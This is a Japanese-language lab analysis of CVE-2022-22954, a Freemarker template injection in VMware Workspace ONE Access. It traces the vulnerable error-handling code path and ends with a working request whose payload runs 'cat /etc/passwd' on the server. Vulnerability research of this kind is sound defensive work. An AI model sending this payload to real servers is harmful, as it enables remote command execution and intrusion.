
CVE-2022-22954 アナリスト
Workspace ONE Access(ワークスペースをサービスとして提供するモデル)は、SaaS、Web アプリケーション、モバイルアプリケーション向けに多要素認証、シングルサインオン、条件付きアクセスを提供します。 CVE-2022-22954 は、以下の製品に存在するサーバーサイドテンプレートインジェクション(SSTI)の脆弱性です。
VMware Workspace ONE Access Appliance バージョン 21.08.0.1 の OVA ファイルをダウンロードします。
VMware Workstation でファイルを開きます。仮想マシンは NAT ネットワークに配置する必要があります。
Networking Properties で、ホスト名(FQDN)を構成する必要があります。

インストールが完了したら、https://{{hostname}}:8443/ にアクセスして、アプリケーションアカウントのパスワード、SSH アカウントのパスワード、アプリケーションのデータベースを構成します。 アプリケーションは https://{{hostname}}/ で実行されます。

sshuser アカウントで仮想マシンにログインし、root アカウントに切り替えます。 アプリケーションのパスは /opt/vmware/horizon/workspace/ にあります。 アプリケーションのソースコードはディレクトリ /opt/vmware/horizon/workspacce/webapps にあります。

ファイル /opt/vmware/horizon/workspace/bin/setenv.sh を確認すると、JAVA_OPTS 変数でリモートデバッグを構成できることがわかります。

-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n を JAVA_OPTS に追加し、サービスを再起動します。
`systemctl restart horizon-workspace.service`
ホットフィックスファイル HW-154129-applyWorkaround.py をダウンロードします。
手順の中に、templates/customError.ftl ファイルをアプリケーションから削除する手順があります。

customError.ftl ファイルには eval 関数が存在します。errorObj の値を制御できる場合、Freemarker SSTI の脆弱性はここから悪用される可能性があります。


クラス com.vmware.enusercatalog.ui.web.UiErrorController では、関数 handleGenericError が errorMessage 変数を介して errorObj に値を代入していることがわかります。

引き続き、関数呼び出しとパラメータ errorMessage を追跡します。
関数 handleUnauthorizedError

関数 getErrorPage

2 つの関数 sendError と sendUnhandledError では、errorMessage の値は属性 javax.servlet.error.message から取得されます。


クラス com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver では、属性 javax.servlet.error.message”* が関数 resolverExeption 内で値として設定されます。

関数 handleAnyGenericExeption にはアノテーション @ExeptionHandler が付与されています。

クラス com.vmware.endusercatalog.ui.UiApplication では、@CommponentScan で指定されたパッケージの中に com.vmware.endusercatalog.auth が含まれています。

=> このパッケージ内の例外は、handleAnyGenericExeption 関数によって捕捉される可能性があります。
com.vmware.endusercatalog.ui.config では、インターセプタ AuthContextPopilationInterceptor がパス /ui、/hub-ui、/hub-ui/byob、/logout、/ui/oauth/verify で追加されています。


クラス com.vmware.endusercatalog.auth.interceptor.AuthContextPopulationInterceptor に移ると、関数 preHandle でアプリケーションは deviceUdid と deviceType の 2 つのパラメータを受け取り、関数 authContextBuilder を呼び出します。

クラス com.vmware.endusercatalog.auth.interceptor.AuthContext では、条件 this.isValidRequest が満たされない場合、例外 InvalidAuthContextException が発生します。


isValidRequest が満たされるには、this.deviceId と this.deviceType の 2 つのパラメータが同時に空であるか、同時に値を持っている必要があります。

=> 2 つのパラメータのうち 1 つだけに値を渡すと、ここでエラーが発生します。

リクエストを送信します。
GET /catalog-portal/ui/oauth/verify?deviceUdid=111
次のエラーが発生します。
An unexpected error occurred while processing request with requestId: {0}.
関数 com.vmware.endusercatalog.ui.web.WorkspaceOauth2CodeVerificationController に戻ると、上記のエラーは必須パラメータ error が欠落しているために発生することがわかります。
@GetMapping(
value = {"/ui/oauth/verify"},
params = {"error"}
)
@ApiOperation(
value = "authorizeError",
notes = ""
)
public void authorizeError(@ApiParam @RequestParam String error, @ApiParam @RequestParam(name = "error_description") String errorDescription, @ApiParam @RequestParam(defaultValue = "/admin/") String state) {
LOGGER.debug("Failed to obtain authorization code due to {}:{} received for {}", new Object[]{error, errorDescription, state});
throw new AuthorizationCodeFailedRetrievalException(new Object[]{error, state});
}
再度リクエストを送信します。
GET /catalog-portal/ui/oauth/verify?error=&deviceUdid=111abc
deviceUdid の値がレスポンスに表示されます。

Freemarker の SSTI を引き起こすパラメータを挿入します。

次の値でリクエストを送信します。
deviceUdid=${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}

